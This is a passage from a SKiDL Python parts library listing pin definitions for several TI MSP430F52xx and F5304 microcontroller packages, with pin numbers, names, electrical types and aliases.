Pin(num='17',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='27',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA2CLK/SMCLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='49',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F5227IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64ball BGA, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5229IYFF'],pins=[
Pin(num='A1',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B1',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='BSLEN',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='H2',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='B3',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='E3',name='~RST~/NMI',do_erc=True),
Pin(num='F3',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='H3',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='SBWTCK/TEST',do_erc=True),
Pin(num='F4',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='C5',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F5',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='H5',name='DVIO',func=Pin.PWRIN,do_erc=True),
Pin(num='A6',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='D6',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='H6',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A7',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='B7',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='C7',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='TA2CLK/SMCLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='C8',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F8',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G8',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='H8',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5232IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430F2534, 48pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5234IRGZ'],pins=[
Pin(num='1',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='10',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='22',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='~RST~/NMI',do_erc=True),
Pin(num='47',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5237IRGC',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5239IRGC'],pins=[
Pin(num='1',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P6.4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P6.5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P6.6/CB6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P6.7/CB7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='50',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='~RST~/NMI',do_erc=True),
Pin(num='17',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='27',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='SMCLK/TA2CLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='49',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F5242IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430F2544, 48pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5244IRGZ'],pins=[
Pin(num='1',name='P6.3/A3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.4/A4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.5/A5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='7',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='10',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='VCORE',func=Pin.PASSIVE,do_erc=True),
Pin(num='22',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P6.0/A0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='~RST~/NMI',do_erc=True),
Pin(num='47',name='P6.1/A1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P6.2/A2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA1CLK/CBOUT/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5247IRGC',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5249IRGC'],pins=[
Pin(num='1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='50',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='~RST~/NMI',do_erc=True),
Pin(num='17',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='27',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='SMCLK/TA2CLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='49',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F5304IPT',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin LQFN, 8KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,pins=[
Pin(num='1',name='P6.0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
